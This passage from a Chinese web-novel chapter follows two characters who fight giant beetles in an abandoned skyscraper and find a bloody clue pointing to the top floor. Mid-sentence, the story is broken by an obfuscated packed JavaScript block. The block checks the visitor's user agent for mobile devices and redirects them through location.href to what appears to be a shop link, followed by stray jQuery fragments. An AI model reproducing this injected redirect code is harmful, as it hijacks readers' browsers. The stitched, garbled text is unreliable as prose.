蛮兽叼着柳言和齐砚二人,“吭哧吭哧”地跑了许久,终于在一处建筑前停下。
它张开大嘴,柳言和齐砚便像两袋垃圾似的,结结实实地被扔在了地上。
柳言疼得龇牙咧嘴,一时间不知道该捂着被摔得生疼的屁股,还是该揉着快要散架的腰,总之浑身上下哪儿哪儿都疼。
配送任务完成,裂岩蛮兽甩了甩脑袋,悠哉悠哉地转身离开。
二人如释重负地脱下身上的防护服。
刚被裂岩蛮兽叼了一路,防护服上沾满了它散发着恶臭的口水,那股腥膻味直冲鼻腔,简直要把人熏晕过去。
整理好着装,二人抬头定睛一看,面前矗立着一座废弃的大厦。
大厦的高度一眼望不到头,一楼的玻璃幕墙早被风蚀成毛边,入口残破的旋转门生锈到无法推动,地缝里钻出的野草长得半人高。
齐砚修长的手在地上挑挑拣拣,找了块称心的石头,对准旋转门的玻璃裂缝,猛地砸了下去。
“哐当”一声,玻璃碎裂。
幸亏这大厦年头太久,玻璃早已老化变脆,否则以维斯帕帝国的玻璃质量,就算砸上几十块石头也未必能碎。
二人踏进大厦大厅,扑面而来陈旧腐蚀的味道,呛得柳言忍不住咳嗽了两声。
齐砚站在大厅中央,闭上眼睛,双手微微张开。无形的精神感知如同一张细密的网,刹那间扩散开来,捕捉着黑暗中的每一丝动静。
“左边,三只。”他睁开眼,语气平静。
柳言点了点头,默默从斜挎包里掏出一把匕首。
下一秒,三只一人高的甲壳虫蓦地从墙角的阴影中扑出。
它们的外壳漆黑如墨、坚硬光滑,移动速度快得惊人,朝着二人袭来。
柳言眼神一凛,身形如同鬼魅般一闪,避开了第一只甲壳虫的扑咬。她手腕翻转,匕首直直刺入它的脑袋中央。
粘稠的血液喷溅而出,第一只甲壳虫应声倒地。
她微微皱眉,接着长腿侧身一踢,命中第二只甲壳虫柔软的腹部,将它踹向墙壁。甲壳虫顺着墙壁滑到地上,抽搐了两下便彻底没了气息。
齐砚看向最后一只扑来的甲壳虫,眼神淡漠。须臾之间,他的精神力如同汹涌的潮水席卷而去。
三只甲壳虫顷刻阵亡,废墟般的大厅又归于寂静。
柳言的目光停留在第三只甲壳虫的外壳上,隐约
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16834753|191229||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
察觉到上面似乎有什么痕迹,只是在黑暗中难以看清。
二人凑近,柳言从斜挎包里掏出照明灯。黑漆漆的甲壳虫外壳上歪歪扭扭地用血迹涂出了两个字。血迹早已干涸,变成棕红色,极难辨认。
“顶,层。”齐砚盯着血迹,一字一顿地读了出来。
“顶层?”柳言重复了一遍,昂首瞧着天花板,一个头两个大,“这不会是要我们去顶层找什么东西吧?”
根据这栋大厦的高度初步估算,这里至少有一百层楼。大厦内电梯明显损坏无法使用,若是想去到顶层,只得一点一点从楼梯爬上去。
待两人爬上顶层,估计也离累死不远了。
“嗯……要不我们还是回去把飞船开过来